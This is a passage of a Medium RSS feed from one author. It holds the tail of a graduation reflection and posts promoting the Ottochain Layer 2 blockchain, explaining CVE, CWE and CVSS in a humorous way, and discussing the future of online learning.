Pentest+ (with more in progress).</p><p>Kano embraced me. BUK shaped me. And Arewa gave me a family beyond borders.</p><p>This journey has been more than just academics — it’s been about growth, pain, healing, and purpose.</p><p>To everyone who has supported me, from mentors to friends, from teachers to family, thank you.</p><p>I leave you with the words of Bayero University:</p><blockquote>💡 “For above every processor of knowledge, there is One more knowledgeable.”</blockquote><p>This is just the beginning. 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=084fee07593b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Pivotal Role of Layer 2’s to Layer 1’s: Ottochain as a Case Study]]></title>
            <link>https://medium.com/@pwnstar/the-pivotal-role-of-layer-2s-to-layer-1-s-ottochain-as-a-case-study-446985dfb865?source=rss-6a85c0238544------2</link>
            <guid isPermaLink="false">https://medium.com/p/446985dfb865</guid>
            <category><![CDATA[layer-1]]></category>
            <category><![CDATA[layer-2]]></category>
            <category><![CDATA[ottochain]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[Toheeb Kayode Adisa]]></dc:creator>
            <pubDate>Thu, 28 Nov 2024 13:33:28 GMT</pubDate>
            <atom:updated>2024-11-29T09:58:10.983Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>There’s one thing about blockchain: No matter how late you are into it, there’s always room to learn. It’s a technology that constantly evolves, presenting new opportunities and solutions for anyone willing to explore.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*4qmpopuYdLe6LPEu.jpeg" /></figure><p>To truly appreciate where we are now, let’s rewind the clock. Humans have always been innovative when it comes to trade. From <strong>trade by barter</strong>, where value exchange was clunky and inconvenient, to <strong>cowries</strong> as the first attempt at standardized currency, to <strong>coins</strong> and eventually <strong>traditional banking</strong>, humanity has always sought faster and more reliable ways to trade. Yet, each step introduced its limitations — barter was inefficient, cowries and coins could be lost, and banking brought centralization and high fees. Enter <strong>blockchain</strong>, a decentralized, tamper-proof digital ledger that rewrites the rules of value exchange.</p><p>Blockchain isn’t just a new chapter in the evolution of transactions — it’s a paradigm shift. It solves problems like trust, transparency, and efficiency, enabling direct peer-to-peer transactions without needing a middleman.</p><p>And as the blockchain world grows, we encounter new layers of complexity quite literally. Terms like “Layer 1” and “Layer 2” get tossed around a lot in cryptoland. These layers are crucial to the blockchain’s scalability and functionality, but they can also be a little confusing.</p><p>We get it. What even is a layer? Where do these layers come from? What do they do? Are we talking about making a parfait?</p><h3>What Are Layer 1 and Layer 2?</h3><p>Let’s break it down in the simplest way possible:</p><h4>Layer 1: The Foundation</h4><p>Layer 1 is the core layer of a blockchain network — the solid foundation where everything begins. Imagine it as the <strong>main highway</strong> of a bustling city. On this highway, every vehicle (or transaction) must pass through toll gates (validation nodes), follow strict traffic rules (consensus mechanisms), and have all its stops recorded (data storage).</p><p>Bitcoin, Ethereum, and Near Protocol are prime examples of Layer 1 blockchains. They handle essential operations like securing the network, validating transactions, and maintaining decentralization. Layer 1 is powerful and reliable, but it’s not perfect.</p><p>Here’s the catch: highways can get congested. Think about rush hour traffic during NFT drops, token sales, or DeFi booms. Suddenly, it’s bumper-to-bumper. Transactions slow down, and toll prices (fees) spike through the roof. While Layer 1 blockchains are secure, they can struggle to handle high demand efficiently.</p><h4>Layer 2: The Scalability Solution</h4><p>Now, Layer 2 comes to the rescue, like a <strong>bypass road</strong> or an <strong>express lane</strong> built on top of the main highway. It doesn’t replace Layer 1 but works alongside it to ease congestion and keep traffic flowing.</p><p>Layer 2 solutions are designed to process transactions faster and at lower costs. Instead of cramming all transactions onto the main highway, Layer 2 operates off-chain. It batches or finalizes transactions outside the main network and then reports them back to Layer 1 in a summarized format. This approach allows Layer 1 to focus on its strengths — security and decentralization while Layer 2 takes care of the heavy lifting.</p><h4>Why Do We Need Both?</h4><p>If Layer 1 is the foundation, Layer 2 is the clever innovation that makes the whole system practical and scalable. Together, they solve the blockchain trilemma: maintaining <strong>security</strong>, ensuring <strong>decentralization</strong>, and achieving <strong>scalability </strong>the three pillars that are hard to balance.</p><h3>Ottochain: The EVM-Compatible Layer 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*dBqV9VyOErLSOv9haySllw.jpeg" /></figure><p>When it comes to the world of blockchain, three things matter most: <strong>efficiency</strong>, <strong>scalability</strong>, and <strong>interoperability</strong>. The need to achieve all three without compromise has led to innovative solutions, and that’s exactly where <strong>Ottochain</strong> shines. It’s not just another Layer 2 solution — it’s a game-changer.</p><p>Imagine a platform that merges the best of two worlds. On one side, you have the <strong>security and scalability</strong> of the NEAR Protocol, a blockchain designed for performance and reliability. On the other side, there’s the <strong>flexibility and familiarity</strong> of Ethereum’s Virtual Machine (EVM), which has become the standard for blockchain development. Ottochain seamlessly combines these strengths, offering developers an experience that feels as intuitive as working on Ethereum while delivering the robust scalability of NEAR.</p><p>For developers, Ottochain is a breath of fresh air. Think about it: if you’ve built on Ethereum before, the tools, libraries, and workflows you already know and love will feel right at home here. There’s no steep learning curve just a smooth, productive environment where your ideas can come to life faster.</p><p>But Ottochain doesn’t stop at making things convenient for developers. It’s built on a powerful concept called <strong>restaking</strong>. This mechanism allows NEAR Protocol’s stakers to extend their staking power to Ottochain, effectively doubling down on security while fostering collaboration across the ecosystem. Restaking strengthens the ties between the base layer and its Layer 2 counterpart, ensuring a more resilient and interconnected network.</p><p>In simple terms, Ottochain isn’t just a Layer 2 — it’s a <strong>bridge</strong>. It connects <strong>developers</strong>, <strong>users</strong>, and <strong>networks</strong>, making blockchain technology not only more powerful but also more accessible. Whether you’re a seasoned blockchain expert or someone just stepping into the space, Ottochain opens up a world of possibilities where efficiency meets usability and innovation thrives.</p><p>Ottochain is here to redefine what’s possible in blockchain, and it’s doing so in a way that feels approachable, practical, and ready for the real world.</p><h3>Real-World Use Cases of Ottochain</h3><p>Ottochain isn’t just a tech powerhouse — it’s a solution to some of the most pressing challenges in the Web3 space. While the underlying tech is impressive, what truly sets Ottochain apart is its ability to solve real-world problems, making blockchain technology more accessible and effective for users and developers alike. Let’s dive into some of the ways Ottochain is changing the game:</p><h4>1. DeFi Without the High Fees</h4><p>Decentralized Finance (DeFi) has opened up exciting opportunities, but let’s be real — <strong>high transaction fees</strong> and <strong>slow confirmation times</strong> can make it feel like a barrier instead of an opportunity. Ottochain flips the script by enabling <strong>lightning-fast transactions</strong> at <strong>ultra-low fees</strong>.</p><p>Whether you’re someone just dabbling in crypto trading, a serious yield farmer looking to maximize returns, or someone interested in decentralized lending and borrowing, Ottochain makes it all affordable. Gone are the days of watching your profits evaporate into gas fees. With Ottochain, DeFi becomes <strong>inclusive</strong>, <strong>efficient</strong>, and <strong>user-friendly</strong> — finally bringing decentralized finance within reach for everyone.</p><h4>2. Seamless Interoperability</h4><p>One of the biggest challenges in the blockchain space today is interoperability — getting different blockchain ecosystems to play nice with each other. Ottochain has a solution: <strong>Adaptive IBC bridging</strong>.</p><p>What does that mean in simple terms? Ottochain makes it easy to transfer data and assets across various blockchain networks. Imagine being able to <strong>move tokens seamlessly</strong> between NEAR Protocol, Cosmos chains, and Ethereum-based networks without hiccups or costly middlemen. Ottochain’s bridging technology ensures that all these networks work in harmony, giving users and developers the flexibility to operate across multiple blockchains without worrying about compatibility issues. It’s a win for <strong>collaboration</strong> and <strong>efficiency</strong>.</p><h4>3. Developer Incentives</h4><p>For developers, Ottochain isn’t just a platform to build on — it’s an ecosystem that <strong>rewards</strong> creativity and innovation. Beyond the familiar benefits of EVM compatibility, Ottochain goes a step further by sharing a portion of the transaction fees generated from <strong>smart contracts</strong>.</p><p>This means that every time your DApp or smart contract processes a transaction on Ottochain, you earn. The incentive structure encourages developers to build and innovate, knowing their work will be rewarded directly. Ottochain isn’t just about providing the tools; it’s about <strong>empowering developers</strong> to thrive. Whether you’re a solo developer, a startup, or an established team, Ottochain makes sure your effort and creativity are <strong>honored and incentivized</strong>.</p><h4>4. Community-Centric Governance</h4><p>At the heart of Ottochain is its <strong>community-first approach</strong> to governance. Unlike traditional systems where a few entities hold all the power, Ottochain flips the script by placing <strong>governance</strong> directly in the hands of its users.</p><p>Through <strong>decentralized governance</strong>, token holders aren’t just passive participants — they actively <strong>shape the future</strong> of the platform. Whether it’s voting on key protocol upgrades, deciding on network parameters, or guiding the platform’s roadmap, Ottochain ensures that its community has a say in every major decision. This makes Ottochain not just a platform, but a <strong>movement</strong>. It’s about creating a future where the voice of the community drives the platform forward, ensuring decisions reflect the needs and desires of the people using it.</p><h3>Why Layer 2’s Like Ottochain Are Vital to Web3</h3><p>Blockchain technology holds incredible promise, but also presents challenges. The blockchain trilemma the delicate balancing act between <strong>security</strong>, <strong>scalability</strong>, and <strong>decentralization</strong> — has always been a major hurdle for Layer 1 blockchains. While these foundational networks, like <strong>Bitcoin</strong> and <strong>Ethereum</strong>, are highly secure and decentralized, they struggle to scale without compromising one of those core principles. This is where <strong>Layer 2 solutions</strong> like <strong>Ottochain</strong> come in to save the day.</p><p>So, why exactly is Ottochain and other Layer 2 solutions crucial for the future of Web3? Let’s break it down:</p><h4>1. Improved Scalability</h4><p>One of the biggest hurdles in blockchain technology is <strong>scalability</strong> the ability of a network to handle increasing amounts of transactions and data without slowing down. Layer 1 blockchains often hit a limit when there’s too much traffic. Think about it like a major highway during rush hour there’s only so much traffic that can pass through at once.</p><p>This is where Ottochain steps in, acting like an express lane on that highway. By taking the load off the main network and processing transactions <strong>off-chain</strong> and then settling them on the main Layer 1 network, Ottochain allows blockchains to handle more transactions without getting bogged down. <strong>Faster processing times</strong> and <strong>improved efficiency</strong> mean transactions happen in a fraction of the time, leading to a better experience for users.</p><p>In simpler terms, <strong>Ottochain helps Layer 1 blockchains scale </strong>keeping everything running smoothly even as demand increases, without compromising the system’s security or decentralization.</p><h4>2. Cost Efficiency</h4><p>Blockchain’s promise of decentralization has often been clouded by <strong>high transaction fees</strong>, which have become a barrier to entry for many users. Whether you’re sending crypto or interacting with DeFi protocols, those gas fees can quickly add up, making it expensive to use the blockchain.</p><p>Ottochain addresses this problem head-on by providing a <strong>more efficient design</strong> that drastically cuts down on transaction costs. By moving a lot of the processing off-chain, Ottochain reduces the burden on the main network, leading to <strong>lower gas fees</strong> for everyone. This makes blockchain technology far more <strong>affordable</strong> and <strong>accessible</strong>, especially for users in regions where high fees are a serious barrier to entry. Developers and businesses also benefit by being able to build and operate more cost-effectively, which opens up <strong>new opportunities</strong> for innovation across the Web3 space.</p><h4>3. Interoperability</h4><p>The blockchain ecosystem today is highly fragmented. There are many different blockchains, each with its strengths and weaknesses. The challenge is that these blockchains often don’t work well together, making it difficult to move assets or data across networks. Ottochain solves this with its <strong>interoperability</strong> features.</p><p>With <strong>Adaptive IBC (Inter-Blockchain Communication)</strong> bridging, Ottochain allows different blockchains to communicate with each other seamlessly. Whether you’re looking to transfer tokens between <strong>NEAR Protocol</strong>, <strong>Cosmos-based chains</strong>, or <strong>Ethereum-compatible networks</strong>, Ottochain ensures that <strong>data and assets flow smoothly</strong> between ecosystems. This reduces the friction and <strong>increases collaboration</strong> between different blockchain networks, enabling a more connected and <strong>unified Web3</strong>.</p><h4>4. Empowering Developers and Communities</h4><p>Another major reason why Ottochain is vital for Web3 is its focus on <strong>empowering developers</strong> and <strong>fostering community-driven growth</strong>. In the world of blockchain, developers are the lifeblood of innovation. However, a lot of platforms fail to incentivize them properly. Ottochain, on the other hand, rewards developers by sharing a portion of the transaction fees generated by their smart contracts. This means that developers have a <strong>financial incentive</strong> to keep innovating and building better solutions on Ottochain.</p><p>Moreover, Ottochain also gives power back to the <strong>community</strong> through <strong>decentralized governance</strong>. Token holders aren’t just bystanders — they actively shape the direction of the platform. Whether it’s voting on protocol upgrades or determining the future of the network, Ottochain ensures that <strong>everyone</strong> in the community has a say. This <strong>democratic approach</strong> encourages <strong>innovation</strong>, <strong>inclusivity</strong>, and <strong>shared ownership</strong>, which are the bedrock principles of Web3.</p><h3>Conclusion</h3><p>Ottochain is more than just a Layer 2 solution it’s a vision for the future of Web3. By tackling the challenges of scalability, interoperability, and inclusivity, Ottochain bridges gaps in the blockchain ecosystem, creating a space where developers, users, and communities can thrive.</p><p>The journey toward a fully decentralized, interoperable Web3 world is far from over, but with Ottochain leading the charge, the road ahead looks brighter than ever. If you’re ready to be part of this transformative movement, Ottochain is the place to start.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=446985dfb865" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The ABCs of Cybersecurity: CVE, CWE, and CVSS]]></title>
            <link>https://medium.com/@pwnstar/the-abcs-of-cybersecurity-cve-cwe-and-cvss-ae8bc81ac7b4?source=rss-6a85c0238544------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae8bc81ac7b4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[zero-day-vulnerability]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[projects]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Toheeb Kayode Adisa]]></dc:creator>
            <pubDate>Tue, 24 Sep 2024 10:15:40 GMT</pubDate>
            <atom:updated>2024-11-27T14:18:42.092Z</atom:updated>
            <content:encoded><![CDATA[<h4>Introduction</h4><p>Have you ever come across CVE, CWE, or CVSS? Well, it’s not a new alphabet soup or a secret code to the digital world though it feels like it sometimes. Trust me, by the end of this blog, you’ll not only understand what they mean but will be able to drop these terms at parties to sound extra tech-savvy (well, depending on the crowd). Let’s dive in, shall we? The CVE system was born in 1999, just 22 years before I started my cyber security Journey.</p><h4>CVE Records</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3jVVFzYeTlGamLvB" /></figure><p>According to its official website, the <a href="https://www.cve.org/">Common Vulnerabilities and Exposures (CVE)</a> system is a program dedicated to “identifying, defining, and cataloguing publicly disclosed cybersecurity vulnerabilities.” Over the past two decades, it has become an essential resource in the security industry, with approximately <strong>263,627</strong>records (as of now) with Awaiting Analysis of <strong>17,891</strong>, Undergoing Analysis of <strong>304</strong>, Modified of <strong>96,564</strong> and Rejected <strong>14,428</strong>. The CVE system informs organizations, tools, and services worldwide about unknown vulnerabilities, helping to uniquely identify them in public watch lists like the <a href="https://www.exploit-db.com/">Exploit Hacking Database</a>. It also forms the foundation for the <a href="https://nvd.nist.gov/">National Vulnerability Database (NVD)</a>, a comprehensive cybersecurity resource that consolidates all publicly available U.S. Government vulnerability data and links to industry references. Funded by the U.S. Department of Homeland Security, the CVE list is maintained under copyright by MITRE Corporation to ensure the integrity of the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZUL69K5UxazMA-Iw3uP_-w.png" /></figure><h4>What’s CVE</h4><p><strong>CVE</strong> stands for <em>Common Vulnerabilities and Exposures</em>. It’s like the “Who’s Who” of software bugs. Imagine a huge phonebook (yeah, Google it if you’re Gen Z) of all the vulnerabilities found in software, and each one is assigned a unique number, called a CVE ID. It’s sort of like the IMDB for bugs, but way less glamorous.</p><p>Imagine You’re walking through a museum of cybersecurity nightmares, and each vulnerability has its exhibit. CVE is that helpful little plaque that says, “Here lies CVE-2024–10001, known for making IT teams cry in 2024.” Every time a new vulnerability is discovered, it gets a CVE tag so cybersecurity professionals can quickly look it up, know what’s broken, and, most importantly, how to fix it before the hackers throw a party.</p><h4>CWE: Because One Acronym Isn’t Enough</h4><p>Now that you’ve got CVE down, let’s throw another acronym into the mix: <strong>CWE</strong> or <em>Common Weakness Enumeration</em>. While CVE tells you about specific vulnerabilities, CWE is more like the “big picture” framework. It’s a list of software weaknesses that can lead to those CVEs. Think of CWE as the underlying condition, like why you keep getting that darn cold every winter. If CVE is the cold, CWE is the weakened immune system.</p><p>Imagine you’re at a cybersecurity cooking show. CWE is like the recipe — “Add a dash of weak authentication, a sprinkle of insecure code practices, and voila! You’ve got yourself a fresh, exploitable vulnerability.” CWE helps organizations understand why their software keeps getting bugs in the first place. If your codebase keeps showing the same types of CVEs, it’s probably time to review the corresponding CWEs. Like, why do you keep writing insecure code, Emeka?</p><h4>CVSS: The Vulnerability Drama Meter</h4><p>So, now that you know about the vulnerabilities and weaknesses, you’re probably wondering, “Okay, but how bad is it?” Enter <strong>CVSS</strong> or <em>Common Vulnerability Scoring System</em>. It’s like the Rotten Tomatoes score for how dangerous a vulnerability is which is way more stressful for IT teams. When you discover a bug in your software — is it a mosquito bite (CVSS score of 1.0), or is it a full-on bear mauling (CVSS score of 9.9)? CVSS helps you decide if you should drop everything and fix it or just…send an email about it.</p><p>CVSS scores help prioritize which vulnerabilities need immediate attention. A high score means, “Stop what you’re doing and patch this NOW.” A low score means, “Eh, maybe next sprint.” Ever seen your IT team sweating like a Bull, wait does bull sweat? Ask them what the CVSS score is. If they start mumbling numbers above 8.0, just back away slowly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*E0BLRKzRcIhfCjE506GFJQ.jpeg" /></figure><h4>How These Three Work Together</h4><p>By now, you’re probably realizing that CVE, CWE, and CVSS are like the holy trinity of vulnerability management. They all work together to help identify, understand, and prioritize vulnerabilities. It’s like having a detective (CVE), a forensic analyst (CWE), and a judge (CVSS) working together to solve the case of “Why Is My System So Insecure?”</p><p>Let’s assume you find a bug (CVE-2017–8461). You check the CWE and realize it’s because your developer made a rookie mistake with input validation. Then you check the CVSS score — 8.9 — OMO!</p><p>You might be thinking, This sounds complicated, I was once like you, but trust me, these terms are the cybersecurity equivalent of seatbelts. You wouldn’t drive without a seatbelt, right? (If you do, I hope Road Safety are on break.) These systems keep the digital world safe by providing transparency, accountability, and actionable insight into security risks.</p><blockquote>Remember, in cybersecurity, you’re either the hunter or the hunted. But with CVE, CWE, and CVSS, you’ve got a fighting chance to keep the hackers at bay. Or at least, until the next vulnerability shows up. Stay patched!</blockquote><p>If you made it this far, thanks for reading! Incase you see any mistakes in this article, please let me know in the comments, your feedback is much appreciated</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae8bc81ac7b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Future of Online Learning: Trends as Transformation]]></title>
            <link>https://medium.com/@pwnstar/the-future-of-online-learning-trends-as-transformation-6f2897407f43?source=rss-6a85c0238544------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f2897407f43</guid>
            <category><![CDATA[online]]></category>
            <category><![CDATA[learning]]></category>
            <dc:creator><![CDATA[Toheeb Kayode Adisa]]></dc:creator>
            <pubDate>Sun, 18 Aug 2024 11:07:12 GMT</pubDate>
            <atom:updated>2024-08-18T11:07:12.510Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*dYhJtP25_vUcLyYx.jpg" /></figure><p>2020 — It is a year that we will never forget as the year the COVID-19 pandemic began; it saw massive shifts in how we lived, worked, and learned. Classrooms were empty, offices shuttered, and the internet became our lifeline out of nowhere. It was in this environment of need that online learning really broke free of its borders, growing from a specialized niche into a mass phenomenon.</p><h4>From Disruption to Transformation:</h4><p>Online learning was met with scepticism and doubts before the pandemic. Critics doubted its efficiency.  However, as physical classrooms became a distant dream, online platforms bridged the gap in education. From kindergarteners to postgraduate students, millions of people adapted well to the virtual classroom, proving how versatile online learning is.</p><p>This was not a mere band-aid solution. The pandemic was a catalyst and pushed existing trends as well as innovation. We witnessed:</p><p><strong>The rise of microlearning:</strong> Small, content that caters to busy schedules and various learning styles.</p><p><strong>Personalized learning pathways:</strong> AI-driven platforms customised learning paths according to individual needs and strengths.</p><p><strong>Immersive technologies:</strong> VR and AR provided revolutionary ways to interact with subjects from a virtual exploration of the pyramids to a dissection of a virtual frog.</p><p><strong>Collaboration redefined:</strong> Students were able to work and learn together across continents through virtual tools.</p><h4>A Future Brighter than Ever:</h4><p>As the pandemic falls back, these trends haven’t faded. Online learning has proven its worth, not just as a contingency plan, but as a powerful tool for transformation. Imagine a future where:</p><p><strong>Location is truly irrelevant:</strong> Anyone, anywhere can access world-class education, democratizing access to knowledge.</p><p><strong>Personalized learning reigns:</strong> Adaptive platforms will create bespoke learning paths, ensuring mastery and eliminating frustration.</p><p><strong>Education becomes lifelong:</strong> Learning is no longer confined to classrooms or age brackets, becoming a continuous journey fueled by curiosity.</p><h4>Beyond the Screen:</h4><p>While technology plays a crucial role, the future of online learning isn’t solely about screens and algorithms. The human element remains vital. Effective online learning will leverage technology to amplify the power of human connection, fostering:</p><p><strong>Meaningful interactions</strong>: Virtual tools will facilitate active collaboration, peer-to-peer learning, and mentorship.</p><p><strong>Empathy and emotional intelligence:</strong> Online platforms will integrate tools to foster emotional well-being and build a sense of community.</p><p><strong>Culturally responsive teaching:</strong> Technology will empower educators to tailor their approach to diverse backgrounds and learning styles.<br> The journey has just begun:</p><p>The future of online learning is filled with possibilities. It’s a future where technology and human ingenuity unlock transformative learning experiences for all. As we move forward, it’s crucial to embrace innovation while remembering the core values of education: fostering curiosity, nurturing critical thinking, and preparing individuals to be active, engaged citizens of the world.</p><p>Let’s keep the conversation going! Share your thoughts, ideas, and hopes for the future of online learning in the comments below.</p><p><em>Originally published at </em><a href="https://instincthub.com/blog/the-future-of-online-learning-trends-as-transformation"><em>https://instincthub.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f2897407f43" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>